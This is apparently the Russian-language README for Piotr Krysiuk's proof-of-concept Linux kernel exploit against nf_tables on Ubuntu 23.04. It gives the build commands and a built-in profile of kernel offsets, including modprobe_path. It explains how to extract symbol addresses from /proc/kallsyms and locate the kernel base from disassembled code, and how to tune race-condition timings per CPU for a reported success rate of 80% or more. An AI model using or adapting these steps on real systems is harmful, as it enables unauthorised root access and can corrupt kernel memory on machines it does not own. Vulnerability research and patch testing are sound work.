
Для личного использования. Автор PoC — Piotr Krysiuk. Перед использованием прочтите README.md.
Приведённые ниже инструкции тестировались на Ubuntu 23.04 (Lunar Lobster).
Выполните следующую команду для установки зависимостей сборки:
sudo apt install gcc libmnl-dev libnftnl-dev
Выполните следующую команду для сборки бинарного файла PoC:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
Встроенный профиль содержит параметры, специфичные для ядра Linux, распространяемого в бинарном виде в следующих пакетах из Ubuntu 23.04 (Lunar Lobster):
Встроенный профиль выглядит так:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Необязательные шаги для переопределения встроенного профиля при тестировании с другими ядрами Linux:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Чтобы найти базовый адрес ядра, мы исследуем образ nf_tables.ko в памяти ядра. В частности, мы анализируем машинный код подпрограммы nft_counter_destroy(). Это означает, что наш метод чувствителен к компилятору и параметрам компиляции. Однако все типичные случаи можно обработать переопределением встроенного профиля.
Например, машинный код подпрограммы nft_counter_destroy() может выглядеть так:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
В приведённом выше случае мы можем указать несколько параметров, добавив три строки ниже в файл конфигурации "profile".
Во-первых, мы переопределяем смещение двойного слова, предшествующего смещению free_percpu:
5 nft_counter_destroy_call_offset # hex
где значение 5 было вычислено с помощью выражения (1e31d - 1e310) - 8.
В качестве проверки корректности мы затем проверяем двойное слово по указанному смещению с помощью следующей маски:
ffffffff nft_counter_destroy_call_mask # hex
ожидая следующее значение:
e9087e8b nft_counter_destroy_call_check # hex
Эксплуатация уязвимости требует выиграть гонку с фоновым рабочим потоком ядра Linux. Встроенный профиль был настроен так, чтобы максимизировать шанс выигрыша этой гонки на широком диапазоне микропроцессоров Intel, включая мобильные Sandy Bridge и настольные Comet Lake. Однако некоторые микропроцессоры требуют дополнительной настройки. Например, мы наблюдали повышенную задержку переключения задач на Alder Lake в некоторых конфигурациях, где может потребоваться добавить следующую строку в "profile":
400 race_lead_sleep
В наших тестах на незагруженных физических системах мы измеряли вероятность успешной эксплуатации уязвимости на уровне 80% и выше.
После запуска PoC на уязвимой системе она может остаться в нестабильном состоянии с повреждённой памятью ядра. Мы настоятельно рекомендуем тестировать PoC на выделенной системе, чтобы избежать возможного повреждения данных.